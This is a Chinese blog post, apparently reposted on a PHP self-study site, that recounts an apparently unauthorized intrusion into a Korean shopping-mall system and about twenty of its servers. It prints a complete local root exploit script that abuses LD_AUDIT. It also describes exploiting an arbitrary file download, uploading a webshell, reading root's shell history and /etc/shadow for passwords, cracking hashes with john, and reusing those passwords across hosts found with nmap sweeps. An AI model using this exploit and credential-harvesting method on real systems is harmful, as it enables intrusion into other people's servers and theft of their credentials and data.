好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

渗透韩国购物系统 - 网站安全 - 自学php

00x00 寻找web 漏洞 获取webshell

一般web系统官网都会有demo之类的演示网站 这里通过扫描c段看看都存在哪些旁站

可以看出C段大多数IP里都是使用主站的购物商城系统 域名为xx100(数字可以变).

test.net和其他自主域名 130是主站,136是webmail 环境为php+linux+apache.

本想 下载 源码 白盒测试下寻找漏洞 但kr鸟文没见哪里有下载的 到都是收费的模板什么的.

那么通过某一demo站点寻找到了一个任意文件下载漏洞 因为看到一个file.php文件 这看文件名就清楚 容易存在下载与包含漏洞 测试后果然可以

那么得到后台的帐号密码 从后台寻找漏洞 通过上传截段得到一个webshell

 

00x01 linux提权密码通杀

查看内核版本 uname -a

 

Linux xxoo.net 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux

去1337day寻找exp提权 这里直接给出exp.sh

mkdir /tmp/exploit

ln /bin/ping /tmp/exploit/target

exec 3< /tmp/exploit/target

rm -rf /tmp/exploit

cat >> /tmp/payload.c <<EOF

void __attribute__((constructor)) init()

{

    setuid(0);

    system( "/bin/bash");

}

EOF

gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c

LD_AUDIT= "\$ORIGIN" exec /proc/self/fd/3

提权后习惯性的w一下 然后查看/root/.bash_history | grep ssh和.mysql_history得到了ssh root的密码和mysql密码

抓hash破解都省了. 之前c段扫描发现多数IP都为此系统 那么有可能都是统一管理的 root密码也有可能一样 通过nmap扫描C段开放22端口的IP进行测试

root@bt:~# nmap -sP x.x.x.1-254 -oN Desktop/sp.txt

root@bt:~# cat Desktop/sp.txt | grep for | cut -d ' ' -f5>Desktop/sp2.txt

root@bt:~# nmap -sS -p22 -iL Desktop/sp2.txt>Desktop/sp3.txt

测试结果如下如 还是有部分IP密码通杀的

从hostname可以看出 有db、mail、web、backup、ns服务器. 但是主站和其他开放 22端口的IP没有测试成功.

先route或者netstat -r看看还有多少IP与之相关可以弄的

Kernel IP routing table

Destination     Gateway         Genmask         Flags Metric Ref    Use Iface

default         x.x.x.129       0.0.0.0         UG    0      0        0 eth0

netmask为 128 gw为 129 怎么计算我这里给出个图 有时候搞内网时 存在多域多个IP段 要计算有多少台 看这省事

 

00x02 扩大战果

这里除了root用户之外 查看/etc/passwd发现所持服务器中都存在一个master帐号 非root权限.

这帐号有可能是管理员用户管理的 想用root时su一下 一般都这样. 我们cat /etc/shadow下载这master用户hash 使用john --i:all pass.txt进行破解.

但是这样爆破耗时 密码复杂就蛋疼了 这里通过mysql的密码和root密码进行组合猜解

密码都是有点规律的比如mysql密码为xx@数字,root密码为xxx@数字 在加上与域名组合 试了N次得到了master密码为"域名@数字".

使用master密码以及查看/root/.ssh/known_hosts尝试登录其他hosts 这里同样可以登录部分IP

以其中一台为例 从master用户目录下的.bash_history中得到一个密码

但是这个密码测试root时失败 先做个记录. 查看此台内核版本 uname -a

 

Linux node1.test.net 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux

这个域名不同 但这内核同样可以通过前面所提供的exp.sh提权

先把root hash读取出来 用john放着破解. 在看看其他信息

 

00x03 搞定主站

上面通过提权得到了root hash,但是爆破与组合猜解都没能试出来.

这里可以想到是之前有从.bash_history里获取到su的root密码

那么我们试着从其他IP中即使没提权的 通过find /home/ -name .bash_history寻找这些操作记录

幸运的是从其中一台获取到了su密码 测试登录130主站成功拿下 以及其他几台IP 截图留恋.

 

00x04 总结

期间有使用su密码记录 但是last -20发现管理个把月才登一次 这里作罢.

拿到多个数据库root权限 收集了下账户密码 匹配测试也没效果 都是web的没啥大作用.

那么主站及其C段拿了差不多20台左右 因为nmap能扫到的也就20多台 这剩下的就没继续.

通过google搜索(大家可以爬爬ping IP)发现还有一个 asp 跟asp.net站点 使用awvs对web进行扫描

发现存在一个blind sql injection,丢到sqlmap里跑跑,过程如sqlmap注入. 

查看更多关于渗透韩国购物系统 - 网站安全 - 自学php的详细内容...

  阅读:55次